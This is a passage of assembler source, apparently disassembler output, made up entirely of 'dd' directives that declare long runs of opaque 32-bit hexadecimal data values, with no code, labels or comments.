		dd 48B15773h, 0D04AD732h, 6A80E65Eh, 0EE833050h, 6D1A0E0Ch
		dd 12330C37h, 131D704Bh, 0B9938CC7h, 21BDD3Ch, 0BF57494Ah
		dd 27FB7101h, 0F25B04E1h, 7567A960h, 0DA3D8026h, 6B8B0EADh
		dd 50AB84F9h, 4402ABC0h, 47203074h, 8A3F5C0Eh, 7EE8724Fh
		dd 0BDE125Eh, 81F4B39Dh, 0E0B68472h, 3BF9D13h, 8D56AE9Eh
		dd 302B485Eh, 10BEB3DBh, 26AB0315h, 0D2F7D687h,	7CE9080Ah
		dd 0F2818EAFh, 3136661Fh, 2F6499EDh, 0D0B4B857h, 0D705AA6Bh
		dd 0E4CF295Ah, 6C4D6F02h, 6657034Ch, 0A52E09BFh, 1F782AFCh
		dd 3406E0C1h, 1EC1AB1Ch, 209F77A9h, 4F5DDFEFh, 2CD9F821h
		dd 57BBF053h, 52B6F97Dh, 5E258C26h, 927D725Fh, 404E4211h
		dd 3980C3CDh, 0CB8E12E3h, 0E9C2D00Dh, 0D4E5A508h, 620B5224h
		dd 0C925338Ah, 976B7A05h, 0F48061E6h, 870685AAh, 130BE388h
		dd 0BCFE78A7h, 83F37AE7h, 2D960708h, 2038D080h,	0F7B6260Fh
		dd 6EDC105h, 99760D80h,	89BD2E61h, 35E90BDEh, 84B13CA5h
		dd 1481BFA0h, 25F485F1h, 68C3C006h, 7E627436h, 0EBC3E2B9h
		dd 0C01F5B32h, 0CCE951C2h, 7AB4155Bh, 6F53BC34h, 74D861C9h
		dd 892C47B5h, 11293BE9h, 86D8C87Ch, 0DBEC9F69h,	10862D53h
		dd 0BF02A3BAh, 57F3501Fh, 0A2218A87h, 51C1C5D8h, 0C7638291h
		dd 0C0D5230Bh, 73E2EF9Ch, 12045E2Ch, 7B92E1B2h,	33E97007h
		dd 56C94BAAh, 0A0DE69E5h, 92F8E958h, 0CBAD4FA1h, 0C9F62513h
		dd 0F30ED01h, 4895A289h, 27E9F0CBh, 6CF4D96Ch, 200A0B4Fh
		dd 49685AA0h, 0E26D9F12h, 0CEB1E904h, 0E5E0DE97h, 972A9C68h
		dd 89808A1Ch, 0BA80F7D1h, 8F75184Bh, 36B7E815h,	42621B02h
		dd 5AAF52E9h, 0A04BFADFh
		dd 2F181AAh, 3911037Eh,	0B7D6EEE9h, 44202D00h, 1F054752h
		dd 0EF334B79h, 70FD7C2h, 5D051194h, 8C19EA68h, 0E9275078h
		dd 485CE05Ch, 0A4D90B35h, 59FCE79Dh, 9265123Fh,	6F1287CAh
		dd 0ED68061Ch, 0E3B61E67h, 907E0151h, 0C91DE9B2h, 96F745C3h
		dd 8903B9F4h, 0E8AE563Fh, 12CD20C1h, 0EDF2EB80h, 36E45A44h
		dd 0D9204440h, 0CF4BD360h, 7B9A196Fh, 0EF55B05h, 0DEDF8300h
		dd 142A7DD1h, 0E49B5D8h, 0B2936ED2h, 0BAB52A93h, 94789556h
		dd 5F8D7430h, 71492BEAh, 60CCA051h, 0CC50D47h, 61CDA29h
		dd 148B1C08h, 0DB348EE0h, 0E95B0B0Bh, 0BBB0C1B9h, 6C2F5F23h
		dd 21A5D3F9h, 0C31CE9D5h, 2121287Ah, 0C3E2A24Ah, 0C0E3A062h
		dd 0B3CA8001h, 82481D6Bh, 0D028E5EAh, 0F2F2E0D7h, 1DB10251h
		dd 0A2E9D9F6h, 6BBF1FE9h, 6DA26297h, 49235C9Dh,	75CD55C0h
		dd 0D3C783C1h, 54CAA914h, 135D0192h, 2FDDF70Ah,	7A9A92C0h
		dd 562C005Ch, 6B4C77BEh, 0FE31E917h, 0FAEDE51Dh, 0EC410FE4h
		dd 0B1E63BC5h, 95BCB934h, 0B044B852h, 0C4423568h, 1EBD10F7h
		dd 1A6C4C89h, 921FFEA1h, 4412F454h, 0DA252D94h,	45E20E30h
		dd 4858398Fh, 1FD266A0h, 0CCB5B317h, 6225AF20h,	0EBF16D76h
		dd 156299F7h, 8B5F422Ch, 7D0E1893h, 24A6EF1Dh, 1A1CEA0Ah
		dd 808CEDFh, 9D8A09FCh,	2E995364h, 51C8F00Bh, 8728EBD5h
		dd 4B8C04A8h, 0A921C54Ah, 259F130Ah, 0F2D031C2h, 60297D3h
		dd 0E7246D1Dh, 0C03E64AEh, 0C7DDE9E2h, 6F0226B9h, 0E24FCB5Ch
		dd 5A65F007h, 0C6FA4F6h, 215D94A8h, 39A8C84Eh, 42C009B1h
		dd 6E577AA8h, 0F1AC272h, 560B5184h, 16688447h, 0EE34EA55h
		dd 5081404Bh, 48B23832h, 93CC815Fh, 0D27E3869h,	54F6494Bh
		dd 0C244CF54h, 0C734AA25h, 2A12B0B2h, 8557FC1Bh, 50B8B7D0h
		dd 5E8F69B9h, 0DEC524A2h, 5FA0457Ch, 0AE51955Dh, 94D33A2Ch
		dd 656808F6h, 66DC0802h, 8530E05Bh, 56E54E30h, 9235E378h
		dd 5728000Bh, 0FDB1D423h, 2309EEBCh, 759BA934h,	5C5BA4B6h
		dd 529CD7FDh, 3F28EF12h, 4F3608C1h, 0E9946018h,	0EC247508h
		dd 24E6C72h, 52133825h,	35519559h, 0F91E8B2Dh, 0C9686184h
		dd 0E9F74C1Ah, 55E4805Ah, 5F0878E0h, 0FEF10723h, 0C7CE24C6h
		dd 0E7D13B37h, 45685C07h, 6788BC5Ah, 5A540B6Bh,	5DEBFAFBh
		dd 0E2C8B8A2h, 28A3B101h, 623958EDh, 13B03E84h,	8DB745BEh
		dd 7329EB74h, 0D28FE33Fh, 2BFA29EFh, 5D272AC8h,	520F1181h
		dd 0E62986B2h, 5D4B1DD2h, 2D50F428h, 0A5EE889h,	8019F149h
		dd 0A5F35D58h, 380C6203h, 4A64D4E9h, 34CF09BEh,	0E6005A89h
		dd 21951156h, 0C5188395h, 0C196B2EFh, 5DFCCD46h, 18496098h
		dd 39BF2806h, 0C905F5F8h, 96ECBF2h, 9BC176C3h, 660E702h
		dd 0D30C970Fh, 0EFA40412h, 0C86802E3h, 49C65424h, 0F1C0A6D4h
		dd 9048B678h, 28441B5h,	0EC840BC4h, 46590988h, 744EAA20h
		dd 0B050E135h, 55792057h, 0CBC18038h, 417ACFE4h, 46F03B88h
		dd 8A1927E9h, 0E0F29566h, 9E07856h, 315EC268h, 0B910AD42h
		dd 0D43D13D8h, 0DF603D32h, 0D72DEA92h, 6E05E269h, 1D3CD9A5h
		dd 7BC3C2B4h, 7EDE7C66h, 30128C50h, 8947B2E8h, 6D810553h
		dd 0B20D4DA4h, 0E0682F32h, 0F9B7CF78h, 0BFE94196h, 59DAD6Fh
		dd 70E45908h, 154C9DDEh, 206E9F82h, 0B7FEBA71h,	2606665Ah
		dd 5A1FAA5h, 0EAC059CAh, 2E19C302h, 0FE070C1Fh,	295C7B3Ch
		dd 5E962710h, 647762B3h, 0E941E8F3h, 383EBF85h,	66712C25h
		dd 742515Ch, 42CE808Dh,	22BBF69Eh, 7AE5AEBh, 960710D3h
		dd 5BE03C10h, 88F18B81h, 13DEA804h, 90091573h, 82852945h
		dd 4919236h, 7228AB50h,	8F680551h, 8926846Ch, 4C042865h
		dd 0BD49A806h, 0E10F5A50h, 3D9F7533h, 2E05CFA4h, 49AA5156h
		dd 8486FD88h, 0C304A395h, 335338AFh, 7B2599AEh,	0C1C068A2h
		dd 9C680BE9h, 0BBA3325Ah, 45414B7Bh, 0E82A46DEh, 6EA2C451h
		dd 727EBE01h, 0CE31C461h, 0E6065498h, 44BF2C91h, 2E1609CCh
		dd 0C67C7CBDh, 5000062Ch, 29182D0Ah, 0E2E92FD6h, 11F52C89h
		dd 4CEC522Ah, 0BEF397FDh, 0D29FA7BDh, 0E1F62C4Dh, 16CC9FB2h
		dd 0B16CC43Dh, 98C83DD2h, 58F7660Dh, 0CB16C7E9h, 108DA73Eh
		dd 8D26CD5Dh, 8A680B0Bh, 0E984DFD1h, 25D4CC6Ch,	90805ABh
		dd 5030BBDAh, 4CC363CEh, 0E5135F12h, 537F0402h,	12D7F2BBh
		dd 39EAAFFAh, 1C288298h, 842A1905h, 0EA1276E0h,	0F629C332h
		dd 4076C950h, 30AFF49Ch, 9C3E9A4Ah, 0C3E9C203h,	0D8AC15E9h
		dd 0D2B1266Ah, 0BE15864h, 16F4CF3Bh, 925CEAE9h,	420955A6h
		dd 5BFD4461h, 0FAE00454h, 0E344EA02h, 31FC510h,	6288BE66h
		dd 0FC85BFA3h, 5EF71915h, 0BA96FA08h, 7D22F63Ch, 78C0519h
		dd 0DD3DD022h, 0F8E80940h, 32CCB85Dh, 5465AE08h, 0BAD39BC0h
		dd 83E6909Eh, 9C5AFC0Ch, 0B238312Ah, 0AD05009Fh, 37603156h
		dd 81A383B2h, 5CE0ED3Fh, 2C6626D2h, 0DB73BE03h,	2205D372h
		dd 21C063C4h, 9B10D984h, 555E1808h, 80BE9E8Ch, 361E9835h
		dd 0B08917C1h, 274E538Fh, 0AC21C350h, 82E5A7C2h, 0EB66D888h
		dd 7255825Fh, 0B214D7C9h, 74520F94h, 8568E788h,	1B8BBA56h
		dd 0E244E909h, 0F3767192h, 55EE0187h, 38EC0AEEh, 99145898h
		dd 425B9906h, 0D9709868h, 0A4F9E7B7h, 4E13024Fh, 905A0D43h
		dd 78F40882h, 94FA6865h, 0B5D21208h, 15806E52h,	4A8CC485h
		dd 0F3A7C494h, 51035B85h, 117ACF68h, 7ACBD8D7h,	134E3009h
		dd 84687624h, 0EFE97417h, 54C340Eh, 749050ACh, 207E7C1h
		dd 5E0F781h, 0FE80553Bh, 77D2366Bh, 81FD2920h, 94605F08h
		dd 0C5D58285h, 0FDA08A9h, 149D6A28h, 0D12D0499h, 0BE2A5774h
		dd 1907B910h, 0C0F52FE9h, 3D50C820h, 34960DB4h,	1339A2BEh
		dd 0E0A35E53h, 1DD2415Eh, 3F367D38h, 71327E5Ch,	0CBA7466h
		dd 0E05D5F5Eh, 9A0334FAh, 2C58C288h, 0A373C3F7h, 0F7D08385h
		dd 982C5E4Fh, 38BEB61Fh, 74F03E0Eh, 0E49F5AF4h,	73742058h
		dd 86104BDh, 7D58582h, 0E443712Dh, 69D8D748h, 0D0B34E1h
		dd 82E26256h, 0B8360EEh, 0A920275h, 0FD6E5FA7h,	144ED3E4h
		dd 0BB010B0Dh, 5875DA6Fh, 5EEE1785h, 5DC376A8h,	0B998F202h
		dd 0BB2D7EBDh, 40A2C221h, 3683F19h, 2E2DC93Ch, 29E87159h
		dd 7A205C8h, 0A4D6C75Dh, 0A65F13C3h, 0F5815EC5h, 2E068FFAh
		dd 72A04238h, 0B479D897h, 467C2DB7h, 5AE4845Bh,	0FD029DE5h
		dd 0C5F75355h, 6145279Ah, 2A0FC1A5h, 8B3D0A6Ch,	7E61A6DFh
		dd 4298522Ch, 4FBEC7Bh,	502A0D21h, 0C0804999h, 148F5CF5h
		dd 0BF162BFh, 9A7E6FE9h, 6858762Ch, 4E2B70C0h, 0B062B044h
		dd 0F5F5509h, 25AE5645h, 509D25C6h, 2409617h, 0F851E957h
		dd 920AA053h, 5EA52E49h, 6AAF0A81h, 0D2289775h,	135847CDh
		dd 0EF27DBB5h, 89E4CF26h, 0CEB83CD6h, 0BBECFA0Fh, 7DCACB7Fh
		dd 76628EDEh, 5FAC6ACh,	0D05756BDh, 0F2CEAA11h,	4954BE1Fh
		dd 680E1F57h, 347DCF49h, 0EFCD813Fh, 5AD6218Bh,	43661AD5h
		dd 82DDD8ACh, 38E91695h, 2264FD96h, 0D660BFB9h,	0BF806EDCh
		dd 0BC275AECh, 18C71F5Bh, 0D194318Bh, 648E315Eh, 0D7EC05E6h
		dd 0CE73CE1Ch, 52DE87EEh, 0E6ED1442h, 0F9CED10h, 0B5B3988h
		dd 29B561C1h, 413EB548h, 4FA22E5Dh, 9276809h, 0B7B68C22h
		dd 0F0D3560Ch, 0C0A8AB97h, 0E530F5C6h, 81DB668Bh, 4CB7DDCCh
		dd 7B2B2CCBh, 988BCB9Bh, 0CD008AFBh, 0F77DB81Ch, 2CF89FD5h
		dd 0EE64ABB9h, 75A9E921h
		dd 13653CE8h, 0C7E8CE29h, 3273F1E7h, 3F947F71h,	0C35E0800h
		dd 0BE5CBEE9h, 0C251E702h, 0FD2CA56h, 73C1112h,	0E64824AAh
		dd 0D1D196B3h, 2082EB29h, 230C512Fh, 1D0F7640h,	4A382095h
		dd 0E15BD828h, 0E0448493h, 0C8B55F02h, 1DFBCDAEh, 804B544Eh
		dd 0A83FDAF5h, 0BF1D575Dh, 4D016BBEh, 0C830E947h, 9B813706h
		dd 57902F05h, 58DE0994h, 32C8048h, 12DE269Ah, 7CF90421h
		dd 0EA30059Dh, 1519A2Ch, 0D1F6C9B1h, 3E0D2CE9h,	5AAA7856h
		dd 48D5D83Eh, 0BFA6E94Dh, 45BACB83h, 93B11D0h, 652407B7h
		dd 0BC8014A8h, 0F8FE2016h, 63844EB7h, 5E2DFF56h, 1C982D44h
		dd 2DCF9553h, 3C252C9Dh, 0A84C2D7Dh, 0CCB8D96h,	9B82A554h
		dd 32BEE1D0h, 5960B65h,	7F02E6C1h, 0EA0AB2C6h, 6A67C703h
		dd 0BE569850h, 0C35C28B8h, 2EF74CABh, 0A811844Bh, 29D2DE77h
		dd 0EAD11AC0h, 2FD07939h, 0DB32F8CBh, 0E967095Dh, 0A203039h
		dd 81A54C85h, 0F2E153A3h, 0D4242F72h, 1125F516h, 0BABE13BAh
		dd 515E6E06h, 824533D6h, 0BFE0EE47h, 509FC38Ch,	12DF4F84h
		dd 7E1B8A79h, 200245Fh,	0DD87EB31h, 0DDDB51F7h,	8654952Bh
		dd 512887C6h, 597C1C68h, 0FAA68B27h, 0AD1849A7h, 0BC84F84Eh
		dd 0EA35FE9h, 0EAC94FBDh, 1A82DAC2h, 2B0AAD7Dh,	30AEAA17h
		dd 66857ACh, 20A2784Ah,	0AFA55F8Fh, 7A31Eh, 4A2964B8h
		dd 59E9563Dh, 5F25F907h, 196B09F1h, 1DADAD41h, 6A6DB4A2h
		dd 0ACF0347Dh, 0BFC1803Dh, 665E80F0h, 17C5012Eh, 0B523EACFh
		dd 8EBD90B3h, 0B751782Bh, 0AC0A4EA2h, 49AE3104h, 0FA549628h
		dd 0D1A4A92Dh, 3EF54BCEh, 0E890BC92h, 7EE90BC8h, 365E88C1h
		dd 6558C9BAh, 40953D15h, 0E52789E8h, 0C5C063DCh, 0F30F509Dh
		dd 1EB1C17Fh, 70640270h, 73914943h, 7AC3D94Fh, 0E7D4BF1Dh
		dd 0A00CDEF5h, 9466561Fh, 8E021319h, 0F8DD453Dh, 5B786968h
		dd 0F7E28AABh, 5F7E1778h, 0F415316Bh, 52FB92E9h, 8768BB5Ch
		dd 8518995Ch, 135E16E9h, 64170A79h, 0F776A581h,	518F5DD2h
		dd 65D677CFh, 0A57FC97Dh, 1584A20Eh, 0B7BF9417h, 18C50E30h
		dd 84185D82h, 0BE4D301h, 275A5B2Fh, 7234683Bh, 645B908Bh
		dd 1774BB46h, 0BD10ABA9h, 0A9B450BCh, 3A871B12h, 0CBF71F00h
		dd 30361F43h, 0F212FA89h, 0EB251E9Bh, 0C49D628h, 0A916DAF7h
		dd 0B73AFB16h, 89C20EEAh, 0C071F2F3h, 0F934FEEBh, 164AB505h
		dd 13880802h, 8744A6DCh, 7F5C4AF0h, 3FD99DF6h, 0FD4ABA89h
		dd 0E6E9F4B8h, 0BD690095h, 5AED5550h, 6EBFEC1Fh, 84D24B9Eh
		dd 0F18975Eh, 149F79E1h, 6D992050h, 31FA2D02h, 0E1053788h
		dd 68D417D2h, 31335A45h, 80B5C134h, 1EF9ED45h, 48016A98h
		dd 84087CDh, 53B79459h,	0AAA9E010h, 2EB95103h, 0D4122A30h
		dd 34FB59C8h, 0E469C2E7h, 0BAD92903h, 3C845F67h, 7A3CEA66h
		dd 0A4105EE9h, 0B09BFB5h, 70317626h, 0F7091990h, 2BA7225Eh
		dd 4063958Ch, 0D94305Ah, 2F567142h, 0FA94644Bh,	70BCC076h
		dd 2D514549h, 617378A3h, 37D8B141h, 604D4CC8h, 408405CFh
		dd 31250BE0h, 0A27F58C2h, 7F95933Fh, 0B7F0EB1Bh, 7B60F52Ah
		dd 9677AB0Ch, 169906Fh,	6B9C3CDFh, 6F5EF229h, 7B509F1Ch
		dd 288FB601h, 2A5A66F3h, 1998A2D7h, 6E4706DAh, 0C748DAF3h
		dd 8A6BC185h, 13D83EDEh, 6C467A5Ch, 5DA40288h, 85917357h
		dd 50BB4460h, 5874629Ch, 291C6812h, 80FACE2Dh, 0FF14A9D3h
		dd 370B53Dh, 5F09D990h,	58FE1007h, 71D98115h, 2D138C62h
		dd 0AC76A8B8h, 0E49BD846h, 0B383526Ah, 0E6438FCEh, 9A0C2404h
		dd 207F1CA9h, 0FFB744C7h, 3BACFE04h, 0B8D5F617h, 0FE058958h
		dd 6D203D5Bh, 6719CCB5h, 6781710Eh, 2C4D065Fh, 0FC6FB326h
		dd 5BE0D552h, 2000C9F9h, 5D906853h, 9F5B1592h, 20C1A950h
		dd 72E80B6Bh, 66B1868h,	2FD0B701h, 1142EEC3h, 554BCC71h
		dd 0C150D496h, 0CE40EBD3h, 0C8BF250Fh, 182FC65Eh, 8256B0F1h
		dd 0A10FC0DFh, 0D67F08FBh, 8539EF29h, 14B32D09h, 9A0A5188h
		dd 5B54271Fh, 91123922h, 2A74EA27h, 0E55C5E92h,	8EE2C57h
		dd 91286272h, 0F5A7BCEh, 50A5ABE8h, 0CEEB95ECh,	856A54CAh
		dd 3D7ED502h, 55464E5Ch, 9478B03Dh, 9378A55Eh, 0CDE906C3h
		dd 503B0E64h, 0E30ED1B4h, 8B52DFDFh, 0BB90A3ACh, 0ECBFA1EEh
		dd 0B8A9353h, 30F7C137h, 0E1187F91h, 0F394CC04h, 99ACF85Fh
		dd 0C86C07D2h, 0F42B7730h, 0F216EF94h, 40F4E5DCh, 0A6B8C155h
		dd 1B017198h, 92D241Eh,	0A46E5BDDh, 273FF53Eh, 1CB93C2h
		dd 7D55E092h, 0D47B291Eh, 77C4AB83h, 0BC744B61h, 3BE3E5B2h
		dd 1096C48h, 0E3704787h, 4D68DF08h, 1FE90462h, 8047CC98h
		dd 8852EC09h, 1018D7E5h, 689DF4A3h, 2812BDE5h, 2CF07E3h
		dd 698A6CF0h, 0C080C131h, 0E52DACBAh, 0EA2E7A78h, 0A5113408h
		dd 0B04A6148h, 2918FA44h, 0C20C6BEEh, 0B9E202Eh, 0E619B60Bh
		dd 8C00565h, 5901BE80h,	0F8305BC5h, 0A5050287h,	0FD341653h
		dd 76688h, 39DE3559h, 0C0970BFEh, 7DE90D24h, 5420736h
		dd 8B1350E5h, 14652700h, 0F7B655EDh, 0F9FE08A0h, 602F5D9Eh
		dd 821AF8A7h, 25FCC88Ah, 5A92A55Eh, 7C1099FDh, 8FA94AD3h
		dd 2EFFD9D3h, 10C7EE40h, 9D01631Eh, 2D0B1F1Ch, 0D4023AB2h
		dd 8BA95FEh, 31D52D5Ah,	292A020Eh, 3BAF82DDh, 67CCFE7Bh
		dd 2F47E0C1h, 0F535874Dh, 9CFA064Eh, 0C5400240h, 0D83004ACh
		dd 9C7AB753h, 765C693h,	0FBD9DD57h, 93C2E0F4h, 180420AFh
		dd 3F196E68h, 0CC9FADB1h, 0D0FEF5F0h, 11681233h, 642CAE33h
		dd 13C4927Eh, 0A9D5F745h, 82B80269h, 201DDA4h, 977C8677h
		dd 8F79E383h, 5B0C0E02h, 57566840h, 0D100AF31h,	5D5025C7h
		dd 0A0FABF05h, 824DE927h, 60DD873Dh, 0BF17FED6h, 0CADAE219h
		dd 0D8843004h, 0DA643483h, 91097888h, 2F26AC9h,	12573A72h
		dd 0E9F8817Fh, 0A581A80Dh, 63BF94F2h, 9E8453Bh,	0B9D75CE5h
		dd 396218DAh, 4053D510h, 3FB2F597h, 0B14A949Fh,	0F43D0873h
		dd 5BC1E42Dh, 5BB4A758h, 2054D31h, 3F818A7Fh, 0D57FA4E9h
		dd 4F9FD0AFh, 0E2D597C2h, 0DAA0EC06h, 582B1936h, 0C004F1B5h
		dd 5D561AC6h, 0CED1DB50h, 6E70ED89h, 0D5961BBh,	7D13F714h
		dd 9E111808h, 3D5B928h,	14D6F16h, 0F19D59CFh, 5A0B028Dh
		dd 8AF7475Dh, 449EA30Fh, 0FE014437h, 350999EAh,	542C2F9Ah
		dd 181FA1D2h, 66EF0017h, 0FA9E3059h, 1DC41708h,	6926FCBDh
		dd 603C0819h, 0FE12A0ACh, 8BFF34C4h, 4E664A63h,	5BCE987Fh
		dd 196AE367h, 0F07DF768h, 852A4EFDh, 58ABA22h, 0B51E4A7Eh
		dd 72CD8C7h, 0A744F781h, 805285ABh, 31519EA2h, 9092C8BDh
		dd 88E62768h, 712F347Ch, 0AC5C449Fh, 555180A3h,	0C461B68h
		dd 9BE94135h, 524CACDBh, 257D3D11h, 0B8B500CCh,	24927CDh
		dd 410D0516h, 0DA804DDCh, 1ABC65E4h, 97C7292Eh,	7E6BEB09h
		dd 86204139h, 0D8BDEC7Ch, 0C4F717C1h, 0E06B105Ah, 0F4EE211Ah
		dd 0EEE0F85Ah, 86E92A40h, 94C39796h, 59B71025h,	3E2F3CD4h
		dd 0E1F7F080h, 674D5868h, 585C2540h, 4E65BF69h,	0F0633DA8h
		dd 8B7CC781h, 0F7D69FA2h, 5B0883C2h, 5E87E41Ch,	0A540D1B7h
		dd 5969B1F1h, 62511F82h, 0C16F6295h, 257AC1AEh,	16DF815Eh
		dd 0CA104B8h, 22F9806Ah, 0F943BE0h, 87AE2D12h, 415759A2h
		dd 90F9E9ACh, 0A3198029h, 3BB00858h, 0EFDE51D1h, 77EC1F8Bh
		dd 0A3BE7B05h, 0E098C493h, 10750109h, 9D5E54B5h, 2F93043Eh
		dd 0B095D191h, 0BA206394h
		dd 58F0882Fh, 1102016h,	5A34F660h, 3CB1F280h, 0D2B3CAFEh
		dd 0C2D1470Eh, 0CBF22F6Dh, 1D2DC551h, 20A58F59h, 0C3296664h
		dd 0FA062EE7h, 7C1208A9h, 0F5E14F3h, 0C31392B7h, 58BF61FAh
		dd 10013219h, 501A5117h, 0C6552A53h, 0FC6595CEh, 48E4F9ADh
		dd 5B6210F5h, 4009AFB4h, 0EEB22968h, 1570B505h,	93C0420Ch
		dd 9CA8105h, 23C73BDBh,	905ABC81h, 0D029D8EBh, 0B1C73CEDh
		dd 812555E9h, 0FF605092h, 0C0319209h, 9D034430h, 0BD206D46h
		dd 1EA0B0CCh, 9231F72Eh, 68E48022h, 0EDB76903h,	567F3548h
		dd 0B9DFEC0Fh, 0CAEA8915h, 0E264D2AFh, 579991BAh, 89580250h
		dd 8B95047Dh, 123DBB03h, 59F1B0EDh, 2A685280h, 5F8B08D5h
		dd 803FFC35h, 774989C2h, 99C9C4Fh, 0A9B362D2h, 3FDC28CAh
		dd 771C353Fh, 760744B9h, 30708E35h, 1A54395Bh, 0C292D05h
		dd 0D1AE6ADAh, 2FCF8916h, 5EBB5249h, 9EC22777h,	66274B44h
		dd 0B5139896h, 0EE3025C0h, 0D0086051h, 0EA8006C2h, 1AA00665h
		dd 39D484E6h, 0E3C712A2h, 681138AEh, 22FBC49Dh,	0EE9170DAh
		dd 7C7F20C9h, 16172F0Ah, 0E79474E9h, 0F44A27A6h, 65B98F00h
		dd 49E9BB61h, 0A0767C54h, 8DB56A1h, 0DC97E92Ah,	58D7BD00h
		dd 0BE4D7399h, 0EE025E6h, 0BF80690Eh, 6E4013D2h, 93AE0754h
		dd 0FA49B41Ah, 0BC9084D7h, 0FE9BC98Fh, 644B3DEEh, 0F0E96E89h
		dd 848E470h, 4F4884CFh,	4429BA00h, 0B0C03D81h, 7B2C66C2h
		dd 64D820E9h, 0C39C5D4Bh, 0BEE44062h, 6557DD09h, 3B8DF633h
		dd 0C86B85D5h, 2D0B133Dh, 74484647h, 0EFE20873h, 411A5827h
		dd 0A043EC53h, 0C8E516D3h, 52C9A8FBh, 300B3CB6h, 0CA285A02h
		dd 34F827E9h, 927204F0h, 2DA1144Ah, 611096D3h, 509034C6h
		dd 0F784C6B0h, 0F929076Dh, 7C902675h, 1204E1C0h, 0FD8DC180h
		dd 0F1C32DCBh, 2432A968h, 0E0F085Bh, 0F88AB109h, 0CC189770h
		dd 0D1728851h, 13E2CB4Bh, 109FBCC4h, 483105CBh,	81BB357Ah
		dd 93B3B7DCh, 46EBC51Bh, 104D5B4Bh, 2E246A77h, 1902BBD8h
		dd 75265D69h, 27086828h, 0C697A266h, 0A20169FAh, 669383F9h
		dd 4C5821AEh, 0E56800D1h, 91A5C47Dh, 8DBA005Ch,	0B803DB54h
		dd 2DEFA884h, 5EAA19F4h, 31DA7C1Eh, 0C2DA435Ah,	58089C40h
		dd 0F57EEBB5h, 840A65FFh, 52229278h, 0E8F8DCECh, 81022E92h
		dd 5F794FF6h, 91B78223h, 4914D79Bh, 4812B209h, 89E1025Fh
		dd 34C909A8h, 5533F3FCh, 79663DD5h, 4DD72FFBh, 0D01B50D1h
		dd 5D8A040Fh, 80686C65h, 0C7727992h, 0E94E3C05h, 31BBF26Fh
		dd 45D70C3h, 0C32C6FC3h, 7F457FAEh, 0A5066B16h,	552A9AFDh
		dd 0D32F56F8h, 0A7417B0Dh, 0AA3769F0h, 1189A97Eh, 599D82C6h
		dd 6C508943h, 7E0F4272h, 66E7BFEBh, 4175E94h, 0D60DCBC5h
		dd 0DA50C031h, 3E5B6679h, 851327B8h, 92936770h,	66FF63A5h
		dd 8A949565h, 39F5E906h, 0E3E008F7h, 0A5B6800h,	0A2157CB3h
		dd 13124CBCh, 31AF35DBh, 3AD38794h, 1AD9CB30h, 472713D5h
		dd 526BC4Fh, 29014D76h,	0EF19B0ACh, 0DDE131ABh,	18C6E211h
		dd 0ED20EFB0h, 879501FDh, 3E6C1EEh, 0B2D64046h,	0A3161653h
		dd 0EEE908E9h, 0B0D3955Ah, 9B9F5574h, 5B5DD1B4h, 0ACC3843Fh
		dd 0B70AD215h, 0B283700Fh, 0E1525122h, 8FAFD2EEh, 0EA06D0DEh
		dd 7008D5F7h, 0E36D4B68h, 3E99048Bh, 97AB0CA3h,	51C950F1h
		dd 0F21729D1h, 554630E9h, 9594E801h, 0D02D227Ch, 0FA609DF1h
		dd 18B4D4ACh, 43D66841h, 30E2397Eh, 9BF38BBh, 531DD117h
		dd 68713F04h, 858265E0h, 7EBA0061h, 4E01AD43h, 5749F281h
		dd 9A700A3Fh, 261B12E5h, 9FF50215h, 87DEAC66h, 9279D802h
		dd 31BD02Eh, 68555049h,	3B82560Ah, 0CC72C9E0h, 0B5F78880h
		dd 5A76AC70h, 37386F24h, 0E970752Ch, 0B80E5FC0h, 45F3F729h
		dd 5F5217A4h, 44CA004Dh, 870E375Ch, 6CA0FA4Ch, 318D3808h
		dd 8B50B03Ch, 0F785BFD9h, 0F56B549h, 0E4F3895Bh, 75EA7B9Dh
		dd 0EC30BA78h, 0C62FEC68h, 3DD1C89Bh, 0DAEB8001h, 6602E3C0h
		dd 0F760C160h, 0C1CB8100h, 73462C0Fh, 0DC84844Bh, 331074B9h
		dd 2CAC0E54h, 569B4F80h, 0EF8DE613h, 842F6AE5h,	5E5AA9EEh
		dd 3EBD6FECh, 8F8A94B3h, 0DF018BEFh, 0E9783276h, 0DA605DA3h
		dd 0C094497h, 9D7FA4FCh, 1D080312h, 51250F02h, 14C0DDD3h
		dd 330638E2h, 0DF5EE913h, 0BA40B76Dh, 11C67FEBh, 1C9856D8h
		dd 8BA30B30h, 24DDDFF7h, 4CD44A10h, 0BEAB09FBh,	84092D51h
		dd 4C00F8C8h, 53C3034Bh, 0F892EF88h, 5F69967Dh,	681800C2h
		dd 55311834h, 0AB492B98h, 0C580042Ah, 88AB527Eh, 0FA3DBF5Eh
		dd 0D21EA768h, 80EA58AEh, 0F8B80884h, 5DF8D6F6h, 0D563BFA4h
		dd 0B82B5BCFh, 67C5E495h, 2C51144h, 7EAAD8ABh, 60388841h
		dd 215EF5C6h, 95EAF8B7h, 5FFA23DCh, 68200E64h, 9E40B54Ah
		dd 3807BD55h, 316B5823h, 1EB5DF4h, 305BD7D7h, 64F1E56Ah
		dd 32CB28EBh, 0F0DA4210h, 2ED0B722h, 0F37A0841h, 53BE4A75h
		dd 0D7A00836h, 0EE4FAB28h, 34E407B1h, 0C11317B0h, 7B1D04E3h
		dd 76580B9Ch, 0E8163EC6h, 57C1B0Ah, 0C8291C5h, 0DF6532B1h
		dd 715A2E13h, 781689F5h, 0D967B74Ch, 0CD29E984h, 540292ADh
		dd 41451D10h, 0EA408989h, 84A2F101h, 5E52A5D7h,	0C104BCBCh
		dd 8144079Ch, 9393ABE0h, 4CEDDE2Dh, 0C5D4899Fh,	71C4947Ch
		dd 420329AFh, 52028BAFh, 4A8586B6h, 1782B6CBh, 3DB35FF4h
		dd 5E0A49B1h, 5157FA68h, 76273F52h, 8350EA5Ch, 0F1D19582h
		dd 602A4152h, 55A5B80h,	7A0F1630h, 73D88BDh, 48985717h
		dd 5D91671Dh, 4DBB70EBh, 0DF4F898Bh, 41097BB0h,	4FAE42F0h
		dd 4A1841F6h, 2EF9497Ch, 380BEE80h, 0BDF3345Fh,	430C278Bh
		dd 0F734C25Fh, 0E98D486Fh, 0F67F8942h, 0E1647DD6h, 93945249h
		dd 0DFB3C6C7h, 9162FC7h, 7533AFC1h, 8DA27BDBh, 2BF9AC4h
		dd 5D209668h, 728C3B98h, 4002B6B3h, 0FF0E0827h,	14C4570Dh
		dd 4C098B80h, 0BE7F1106h, 6DAFE202h, 0C2404B17h, 0CA92977Dh
		dd 0A0A8E878h, 4E0FBE56h, 8B47431Bh, 2543C36Dh,	565451CCh
